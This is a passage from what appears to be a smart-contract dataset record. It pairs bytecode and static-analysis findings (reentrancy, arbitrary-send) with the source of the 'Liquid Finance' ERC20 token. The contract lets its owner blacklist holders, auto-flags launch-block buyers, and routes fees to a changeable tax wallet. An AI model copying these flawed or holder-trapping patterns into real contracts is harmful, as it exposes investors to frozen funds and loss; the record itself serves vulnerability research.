e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec09190611f33565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f319190611f33565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa29190611f33565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fd281610a90565b600080610fe76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561104f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110749190611f50565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110cd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611f7e565b6001600160a01b0383166111535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161083a565b6001600160a01b0382166111b45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161083a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161083a565b6001600160a01b0382166112db5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161083a565b6000811161133d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161083a565b6001600160a01b03831660009081526006602052604090205460ff16156113b25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b606482015260840161083a565b600080546001600160a01b038581169116148015906113df57506000546001600160a01b03848116911614155b1561182457600a546001600160a01b03858116911614801561140f57506007546001600160a01b03848116911614155b801561143457506001600160a01b03831660009081526004602052604090205460ff16155b156116c05760115460ff1661148b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161083a565b60105442036114ca5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161083a565b42601054610e106114db9190611f9b565b111561155557600f546114ed84610a90565b6114f79084611f9b565b11156115555760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161083a565b6001600160a01b03831660009081526005602052604090206001015460ff166115bd576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115cd9190611f9b565b11156116a157600e548211156116255760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161083a565b61163042600f611f9b565b6001600160a01b038416600090815260056020526040902054106116a15760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161083a565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116da575060115460ff165b80156116f45750600a546001600160a01b03858116911614155b156118245761170442600f611f9b565b6001600160a01b038516600090815260056020526040902054106117765760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161083a565b600061178130610a90565b9050801561180d5760115462010000900460ff161561180457600d54600a54606491906117b6906001600160a01b0316610a90565b6117c09190611fb3565b6117ca9190611fd2565b81111561180457600d54600a54606491906117ed906001600160a01b0316610a90565b6117f79190611fb3565b6118019190611fd2565b90505b61180d81611908565b47801561181d5761181d47611883565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186657506001600160a01b03841660009081526004602052604090205460ff165b1561186f575060005b61187c8585858486611a7c565b5050505050565b6008546001600160a01b03166108fc61189d600284611fd2565b6040518115909202916000818181858888f193505050501580156118c5573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118e0600284611fd2565b6040518115909202916000818181858888f1935050505015801561092d573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194c5761194c611ecf565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190611f33565b816001815181106119dc576119dc611ecf565b6001600160a01b039283166020918202929092010152600754611a0291309116846110f1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a3b908590600090869030904290600401611ff4565b600060405180830381600087803b158015611a5557600080fd5b505af1158015611a69573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a888383611a9e565b9050611a9686868684611ae5565b505050505050565b6000808315611ade578215611ab65750600b54611ade565b50600c54601054611ac990610384611f9b565b421015611ade57611adb600582611f9b565b90505b9392505050565b600080611af28484611bc2565b6001600160a01b0388166000908152600260205260409020549193509150611b1b908590611eb8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b4b908390611f9b565b6001600160a01b038616600090815260026020526040902055611b6d81611bf6565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb291815260200190565b60405180910390a3505050505050565b600080806064611bd28587611fb3565b611bdc9190611fd2565b90506000611bea8287611eb8565b96919550909350505050565b30600090815260026020526040902054611c11908290611f9b565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c5157858101830151858201604001528201611c35565b81811115611c63576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8d57600080fd5b8035611c9981611c79565b919050565b600060208284031215611cb057600080fd5b8135611ade81611c79565b60008060408385031215611cce57600080fd5b8235611cd981611c79565b946020939093013593505050565b60008060408385031215611cfa57600080fd5b50508035926020909101359150565b600080600060608486031215611d1e57600080fd5b8335611d2981611c79565b92506020840135611d3981611c79565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d7357600080fd5b823567ffffffffffffffff80821115611d8b57600080fd5b818501915085601f830112611d9f57600080fd5b813581811115611db157611db1611d4a565b8060051b604051601f19603f83011681018181108582111715611dd657611dd6611d4a565b604052918252848201925083810185019188831115611df457600080fd5b938501935b82851015611e1957611e0a85611c8e565b84529385019392850192611df9565b98975050505050505050565b600060208284031215611e3757600080fd5b5035919050565b8015158114610a8d57600080fd5b600060208284031215611e5e57600080fd5b8135611ade81611e3e565b60008060408385031215611e7c57600080fd5b8235611e8781611c79565b91506020830135611e9781611c79565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611eca57611eca611ea2565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ef757611ef7611ea2565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4557600080fd5b8151611ade81611c79565b600080600060608486031215611f6557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f9057600080fd5b8151611ade81611e3e565b60008219821115611fae57611fae611ea2565b500190565b6000816000190483118215151615611fcd57611fcd611ea2565b500290565b600082611fef57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120445784516001600160a01b03168352938301939183019160010161201f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122081145c56f5199e99503e9220d443c111bf3539c5f435442e815fa63e6ebe85e164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,098 |
0x9133447d1351000b0a134334ddab22a4d161f6ff
|
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (10 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy > 100000000 * 10**9);
require(maxheld > 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e91906118e1565b34801561027a57600080fd5b5061028e61028936600461195b565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611987565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e6103443660046119a9565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611a00565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611ac5565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611ae2565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be61087d565b34801561048157600080fd5b50610214610490366004611ac5565b6108aa565b3480156104a157600080fd5b506102be6108c5565b3480156104b657600080fd5b506102be6104c5366004611ac5565b610939565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611987565b6109a7565b34801561056657600080fd5b5061028e61057536600461195b565b6109fa565b34801561058657600080fd5b506102be610595366004611a00565b610a07565b3480156105a657600080fd5b506102be610b20565b3480156105bb57600080fd5b506102be610b56565b3480156105d057600080fd5b50610214610bf8565b3480156105e557600080fd5b506102be6105f4366004611b09565b610c10565b34801561060557600080fd5b50610214610614366004611b26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610c83565b6000610661338484610fc9565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f98484846110ed565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611b75565b9050610735853383610fc9565b506001949350505050565b600061074b306108aa565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611b8c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611ba2565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b600081116108415760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089d57600080fd5b476108a7816115ae565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161083890611bbd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610872565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b67016345785d8a000082116109db57600080fd5b6702c68af0bb14000081116109ef57600080fd5b600d91909155600e55565b60006106613384846110ed565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161083890611bbd565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a6057610a60611b8c565b60200260200101516001600160a01b031614158015610ab1575060075482516001600160a01b0390911690839083908110610a9d57610a9d611b8c565b60200260200101516001600160a01b031614155b15610b0e57600160056000848481518110610ace57610ace611b8c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1881611ba2565b915050610a34565b6008546001600160a01b0316336001600160a01b031614610b4057600080fd5b6000610b4b306108aa565b90506108a7816115e8565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161083890611bbd565b60105460ff1615610bcd5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610838565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b03166108aa565b6008546001600160a01b0316336001600160a01b031614610c3057600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610872565b6000546001600160a01b03163314610cad5760405162461bcd60e51b815260040161083890611bbd565b60105460ff1615610cfa5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610838565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d363082678ac7230489e80000610fc9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d989190611bf2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e099190611bf2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7a9190611bf2565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610eaa816108aa565b600080610ebf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f27573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4c9190611c0f565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d89190611c3d565b6001600160a01b03831661102b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b03821661108c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561112f57506001600160a01b03821660009081526005602052604090205460ff16155b801561114b57503360009081526005602052604090205460ff16155b61115457600080fd5b6001600160a01b0383166111b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b03821661121a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b6000811161127c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b600080546001600160a01b038581169116148015906112a957506000546001600160a01b03848116911614155b1561154f576009546001600160a01b0385811691161480156112d957506007546001600160a01b03848116911614155b80156112fe57506001600160a01b03831660009081526004602052604090205460ff16155b1561143a5760105460ff166113555760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b600f54421415611383576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561139257600080fd5b600e5461139e846108aa565b6113a89084611c5a565b11156113b357600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff1661141b576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611454575060105460ff165b801561146e57506009546001600160a01b03858116911614155b1561154f5761147e42600a611c5a565b6001600160a01b038516600090815260066020526040902054106114a157600080fd5b60006114ac306108aa565b905080156115385760105462010000900460ff161561152f57600c54600954606491906114e1906001600160a01b03166108aa565b6114eb9190611c72565b6114f59190611c91565b81111561152f57600c5460095460649190611518906001600160a01b03166108aa565b6115229190611c72565b61152c9190611c91565b90505b611538816115e8565b47801561154857611548476115ae565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061159157506001600160a01b03841660009081526004602052604090205460ff165b1561159a575060005b6115a7858585848661175c565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162c5761162c611b8c565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611685573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a99190611bf2565b816001815181106116bc576116bc611b8c565b6001600160a01b0392831660209182029290920101526007546116e29130911684610fc9565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061171b908590600090869030904290600401611cb3565b600060405180830381600087803b15801561173557600080fd5b505af1158015611749573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611768838361177e565b9050611776868686846117a2565b505050505050565b600080831561179b5782156117965750600a5461179b565b50600b545b9392505050565b6000806117af848461187f565b6001600160a01b03881660009081526002602052604090205491935091506117d8908590611b75565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611808908390611c5a565b6001600160a01b03861660009081526002602052604090205561182a816118b3565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186f91815260200190565b60405180910390a3505050505050565b60008080606461188f8587611c72565b6118999190611c91565b905060006118a78287611b75565b96919550909350505050565b306000908152600260205260409020546118ce908290611c5a565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561190e578581018301518582016040015282016118f2565b81811115611920576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b803561195681611936565b919050565b6000806040838503121561196e57600080fd5b823561197981611936565b946020939093013593505050565b6000806040838503121561199a57600080fd5b50508035926020909101359150565b6000806000606084860312156119be57600080fd5b83356119c981611936565b925060208401356119d981611936565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1357600080fd5b823567ffffffffffffffff80821115611a2b57600080fd5b818501915085601f830112611a3f57600080fd5b813581811115611a5157611a516119ea565b8060051b604051601f19603f83011681018181108582111715611a7657611a766119ea565b604052918252848201925083810185019188831115611a9457600080fd5b938501935b82851015611ab957611aaa8561194b565b84529385019392850192611a99565b98975050505050505050565b600060208284031215611ad757600080fd5b813561179b81611936565b600060208284031215611af457600080fd5b5035919050565b80151581146108a757600080fd5b600060208284031215611b1b57600080fd5b813561179b81611afb565b60008060408385031215611b3957600080fd5b8235611b4481611936565b91506020830135611b5481611936565b809150509250929050565b634e487b7160e01b6000526